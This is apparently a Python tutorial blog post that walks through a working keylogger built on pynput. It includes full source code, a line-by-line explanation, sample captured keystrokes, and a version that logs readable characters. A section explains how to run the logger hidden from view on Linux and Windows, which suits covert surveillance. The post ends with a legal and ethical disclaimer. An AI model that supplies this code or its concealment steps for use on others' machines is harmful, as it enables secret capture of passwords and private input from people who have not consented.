Lokasi ngalangkungan proxy:   [ UP ]  
[Ngawartoskeun bug]   [Panyetelan cookie]                
Skip to content
No results
  • About AskPython
  • Blog
  • Contact Me
  • Free Online Developer Tools Hub
  • Home
  • Meet the Team
  • Privacy Policy
  • Python
  • Python Course for Beginners Online FREE
  • Python Tutorial – Mega Index
  • Terms and Conditions

🚀 Supercharge your YouTube channel's growth with AI.

Try YTGrowAI Free
  • Home
  • Blog
  • About AskPython
  • Python Course
  • Start Here

How to Create a 10-Line Python Keylogger

  • NinadNinad
  • July 7, 2026
  • Python Programming Examples
How to Create a 10-Line Python Keylogger

A keylogger records every keystroke a user types. The Python implementation below uses pynput to capture keys and the standard logging module to persist them.

A minimal Python keylogger uses pynput.keyboard.Listener to hook the OS keyboard event stream and the logging module to persist captured keys. The full implementation fits in roughly 10 lines of code.

Install pynput

pynput wraps the native keyboard event APIs on each platform. Install it from PyPI:

pip install pynput

The 10-line keylogger

The implementation imports the listener and the standard logging module, configures a file handler, defines a callback that runs once per keystroke, then starts the listener. The with block holds the listener until the callback returns False.

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename="keylog.txt", level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Line-by-line walkthrough

For named keys like Key.space and Key.enter, pynput.keyboard.Key supplies the enum. Listener runs the keyboard event loop. logging comes from the standard library.

basicConfig sets the log file, the capture level, and the line format. DEBUG records every event.

on_press receives each key. For printable characters, str(key) returns the letter. For named keys, it returns the Key enum.

Keep the callback short. Blocking work on the keyboard thread can drop events. Returning False from on_press stops the listener, which is how a finite-length capture exits.

The with block registers the hook on entry and releases it on exit. listener.join() blocks the main thread until the loop ends.

Verify it works

Run the script and type a few characters in another window. keylog.txt will record each event with a timestamp.

python keylogger.py
# type into another window, then in this terminal:
cat keylog.txt

 2026-07-07 05:34:21,646 - 'h'
 2026-07-07 05:34:21,647 - 'e'
 2026-07-07 05:34:21,647 - 'l'
 2026-07-07 05:34:21,647 - 'l'
 2026-07-07 05:34:21,648 - 'o'
 2026-07-07 05:34:21,648 - Key.space
 2026-07-07 05:34:21,649 - 'w'
 2026-07-07 05:34:21,649 - 'o'
 2026-07-07 05:34:21,649 - 'r'
 2026-07-07 05:34:21,649 - 'l'
 2026-07-07 05:34:21,650 - 'd'
 2026-07-07 05:34:21,650 - Key.enter

Captured keystrokes written to keylog.txt by the pynput listener

Make printable characters human-readable

str(Key.space) and Key.enter are useful for debugging but awkward to read. Strip the wrapper for printable keys and keep the named form for the rest:

def on_press(key):
    try:
        # Printable character: write the letter
        logging.info(key.char)
    except AttributeError:
        # Named key (space, enter, ctrl, etc.): write the enum
        logging.info(key)

with Listener(on_press=on_press) as listener:
    listener.join()

key.char exists only for character keys. Anything else raises AttributeError, and the except branch writes the Key enum, giving you a log that reads more naturally for prose input.

Run it without a visible terminal

On Linux, nohup detaches the process from the controlling terminal so it survives shell exit:

nohup python keylogger.py &

On Windows, renaming the file to .pyw and launching it with pythonw.exe suppresses the console window. The script runs in the background with no visible UI.

Ethical and legal limits

Capturing keystrokes on a machine you do not own or have written authorization to test is a criminal offense in most jurisdictions, including the US Computer Fraud and Abuse Act, the UK Computer Misuse Act, and equivalent statutes elsewhere. Acceptable uses are limited to:

  • Logging on your own machine, your own activity, for personal research.
  • Educational demonstrations inside a lab or classroom with informed participants.
  • Authorized security assessments covered by a signed scope of work.

If you are unsure whether your use case qualifies, it does not. Consult the laws in your jurisdiction and get written authorization before running this code on any device other than your own.

Ninad
Ninad

A Python and PHP developer turned writer out of passion. Over the last 6+ years, he has written for brands including DigitalOcean, DreamHost, Hostinger, and many others. When not working, you'll find him tinkering with open-source projects, vibe coding, or on a mountain trail, completely disconnected from tech.

Articles: 136
Python Random Color Generator: Using Multiple Methods
Previous Post Python Random Color Generator: Using Multiple Methods
Next Post [SOLVED] 'Unexpected Keyword Argument' TypeError in Python
[SOLVED] ‘Unexpected Keyword Argument’ TypeError in Python

Related Posts

How to Calculate Distance Between Two Points in Python

How to Calculate Distance Between Two Points in Python

  • November 26, 2026
CIFAR 10 Dataset: Load and Use in Python

CIFAR 10 Dataset: Load and Use in Python

  • November 24, 2026
Maximum A Posteriori Estimation in Python

Maximum A Posteriori Estimation in Python

  • November 24, 2026

Partner Websites

  • GoLangDocs
  • LinuxForDevices
  • CodeForGeek

Popular Categories

  • Python Programming
  • Python Modules
  • OOPS in Python
  • Python Programming Examples
  • Strings in Python

Hall of Fame

  • Python Programming
  • OOPS in Python
  • Creating Python Modules
  • Args and Kwargs in Python
  • Python Dictionary (Dict) Tutorial
  • Python List – 15 Things You MUST Know
  • Python Set – Things You MUST Know
  • Python String Functions: Methods by Task

Important Links

  • Home
  • Python Course
  • Start Here
  • Blog
  • About AskPython
Latest posts
  • np.linalg.eig: Eigenvalues and Eigenvectors
  • What Does %s Mean in a Python Format String?
  • How to Use np.sin() in NumPy
  • cv2.imread: Load Images with OpenCV
  • pd.read_json: Read JSON Into a DataFrame

Copyright © 2026 - AskPython. All rights reserved.